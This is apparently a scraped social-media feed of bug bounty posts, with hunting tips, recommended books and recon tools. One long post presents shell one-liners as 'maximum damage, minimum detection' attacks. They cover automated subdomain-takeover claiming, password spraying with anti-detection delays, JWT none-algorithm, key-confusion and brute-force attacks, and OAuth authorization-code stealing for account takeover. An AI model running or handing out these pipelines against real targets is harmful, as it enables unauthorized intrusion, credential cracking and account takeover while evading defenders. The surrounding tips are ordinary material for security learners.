Inayat

[TheOuts1derX @TheOuts1derX]

Business logic vulnerabilities are not code bugs. They are flaws in the design and implementation of an application that allow an attacker to elicit unintended behavior using the application's own legitimate functionality

No scanner finds them. No fuzzer catches them automatically. They require you to understand what the application is supposed to do before you can figure out how to break it

The root cause is almost always the same: developers made flawed assumptions about how users would interact with the application. The attack surface is every place where those assumptions can be broken

#BugBounty #BugBountyTips

[obscaries ❘ AppSec @obscaries]

Cybersecurity isn’t just tools, it’s mindset, fundamentals, and depth.

⚠️These books may include advanced techniques, use them responsibly.
I don’t promote illegal activity; only test on systems you own or have explicit authorization.

Here are 24 best books across domains you should read 👇🧵

1. The Web Application Hacker’s Handbook:

The go-to manual for web app security, covers XSS, SQLi, auth bypass, and real exploitation techniques.

[Nagli @galnagli]

Critical vulnerabilities doesn't have to be complex or have a CVE - @deepseek_ai publicly exposed their internal ClickHouse database to the world, without any authentication at all, and leaked sensitive data.

No one is safe from security mistakes, follow along to learn more 🧵

[Inayat @Inayat067]

@dropn0w Good luck

[Inayat @Inayat067]

For beginners who want to follow from recon and learn

[obscaries ❘ AppSec @obscaries]

A collection of bug bounty insights, from recon to client-side exploitation, along with mindset and efficiency strategies.

This thread is a collection of all the bug bounty articles I’ve shared so far 🧵👇

[NeM0x00 @Yousef39960629]

Just dropped Part 1 of my Recon series on Medium 🚀

I’ll be sharing my methodology + tips & tricks that helped me find real bugs and earn $$$$$
link: https://t.co/Hv5wIFal4i
More parts coming.
#bugbountytips #bugbounty #bughunting

[Inayat @Inayat067]

@AdarshChetan DSA

[Inayat @Inayat067]

@austin_jordan12 Kids

[Inayat @Inayat067]

@hamidonsolo For all the peoples who are here for there family

[Inayat @Inayat067]

@datafuel0 Do you use claude or any other ai agent for recon or any task

[Intigriti @intigriti]

It's never too late to get started with bug bounties! 🤠

Still feeling stuck? These top hackers shared their roadmap on what it takes to become a skilled bug bounty hunter! 😎

A thread! 🧵👇

[Inayat @Inayat067]

@ireteeh Hi I am in and give full time.

[X @TheMsterDoctor1]

Here are NUCLEAR-GRADE one-liners - maximum damage, minimum detection:

⚡ EXTREME RECONNAISSANCE
1. Full Infrastructure Mapping with Passive + Active Intelligence Fusion

subfinder -d https://t.co/axAPlulNpQ -all -silent | dnsx -silent -resp -a -cname -ptr -txt -mx -soa | tee dns.txt | awk '{print $1}' | httpx -silent -td -cdn -csp -fhr -title -server -tech-detect -status-code -content-length -json | jq -r 'select(.cdn==false and .status_code!=403) | [.url,.tech[]?,.title,.server] | @tsv' | nuclei -t cves/ -t exposures/ -t vulnerabilities/ -rl 200 -bs 50 -c 50 -silent | notify -silent

2. Autonomous Bug Bounty Hunter (Set & Forget)

while true; do subfinder -d https://t.co/axAPlulNpQ -all -silent | dnsx -silent | httpx -silent -json -td -cdn -waf | jq -r 'select(.cdn==false and .waf==false) | .url' | nuclei -t ~/nuclei-templates/ -rl 150 -bs 30 -severity critical,high,medium -silent | grep -E "\[critical\]|\[high\]" | tee -a critical_findings_$(date +%F).txt | notify -provider discord -id bounty -silent; sleep 3600; done

3. Certificate Transparency → Hidden Assets → Instant Exploitation

curl -s "https://t.co/eYMgY4ZDJ4" | jq -r '.[].name_value' | sort -u | sed 's/\*\.//g' | dnsx -silent -resp -a | awk '{print $1,$2}' | httpx -silent -probe -td -ports 80,443,8080,8443,8888 -path /admin,/api/v1/admin,/actuator/env,/.git/config,/graphql -mc 200,401,403 -json | jq -r 'select(.status_code==200 or .status_code==401) | "\(.url) [\(.tech[]?)] \(.title)"' | nuclei -t exposures/ -rl 300

4. JavaScript Recon Pipeline: Secrets + Endpoints + Vuln Detection

echo "https://t.co/axAPlulNpQ" | gau | grep "\.js$" | httpx -silent -mc 200 | anti-burl | while read js; do echo "$js" | hakrawler -js -plain -usewayback -scope yolo | tee -a endpoints.txt && curl -s "$js" | grep -oP '(?:api[_-]?key|secret|token|password|aws[_-]?key|private[_-]?key)["\047]\s*[:=]\s*["\047]([^"\047]{8,})["\047]' | anew secrets.txt && echo "$js"; done | nuclei -t exposures/tokens/ -silent

5. Weaponized Subdomain Takeover Hunter with Auto-Exploit

subfinder -d https://t.co/axAPlulNpQ -all -silent | dnsx -silent -cname -resp | grep -E "github\.io|herokuapp\.com|s3\.amazonaws|azurewebsites\.net|netlify\.app|vercel\.app|surge\.sh" | awk '{print $1,$2}' | while read sub cname; do httpx -silent -u "$sub" -mc 404 && echo "$sub -> $cname [VULNERABLE]" | tee -a takeovers.txt && (echo '{"message":"CLAIMED BY @YourHandle - Report Pending"}' > /tmp/claim.json && curl -X PUT "https://${cname}/claim" -d @/tmp/claim.json); done

🔥 WEAPONIZED AUTHENTICATION ATTACKS
6. Distributed Password Spraying with Smart Delay (Anti-Detection)

cat users.txt | while read user; do cat passwords.txt | parallel -j 5 --delay 2 "curl -s -X POST https://t.co/z7AsPaEhaU -d 'username=$user&password={}' -L | grep -i 'dashboard\|welcome' && echo 'CRACKED: $user:{}' | tee -a cracked.txt"; sleep 30; done

7. JWT Exploitation Suite: None Alg + Key Confusion + Brute Force

JWT=$1; echo $JWT | jwt_tool - -X a -ju 'https://t.co/lV2GxRAgmL' | tee jwt_confusion.txt && echo $JWT | jwt_tool - -X n | tee jwt_none.txt && echo $JWT | jwt_tool - -C -d /usr/share/wordlists/rockyou.txt | grep "VALID" | tee jwt_cracked.txt && cat jwt_*.txt | while read token; do curl -s https://t.co/zALjKEt6QL -H "Authorization: Bearer $token" | grep -i "admin\|success"; done

8. OAuth Exploit Chain: Code Stealing + PKCE Bypass + Account Takeover

echo "https://t.co/scFZUQGkIv" | httpx -silent -follow-redirects | grep -oP "code=[^&]+" | cut -d= -f2 | while read code; do curl -s -X POST https://t.co/j37kDyAPOH -d "client_id=CLIENT&code=$code&grant_type=authorization_code&redirect_uri=https://t.co/57xyQP2yur" | jq -r '.access_token' | xargs -I{} curl -s https://t.co/uw2TgeZu2b -H "Authorization: Bearer {}"; done

[Inayat @Inayat067]

@infinitelogins RESOURCES

[Behi @Behi_Sec]

If you haven't earned your first bounty yet, read this:

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

If you're still using gau or waybackurls, give waymore a try because it will honestly find you waymore endpoints!
It can also download archived responses &you can run xnLinkFinder over the response directory to find even more endpoints, potential params, wordlist + oos domains 🤘

[Intigriti @intigriti]

Our bug bounty blog can help you:

> find your first bug (in 2026)
> master most web security vulnerability types (such as XXE, SSRF & XSS)
> learn how to perform deep recon
> develop a unique bug bounty methodology
> write better reports (that pay out more)

What article or resource have you found to be the most helpful? 🤠

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

My #BugBounty tools 🤘

👉xnLinkFinder - get links, params & target wordlist
👉waymore - get URLs & archived responses
👉GAP - Burp ext. like xnLinkFinder
👉urless - de-clutter URL list
👉knoxnl - wrapper for KNOXSS API
👉 Xnl Reveal - BB Chrome Extension

https://t.co/o97XWDJjne

[Behi @Behi_Sec]

7 bug bounty tips I wish someone had told me when I started: 🧵

[the_IDORminator @the_IDORminator]

When you start on a target, do you just start scanning things or do you stop and think? What is this company? What do they sell/do? What is valuable to them? What would cost them money, negatively impact their business? You need this context, so you know what to look for.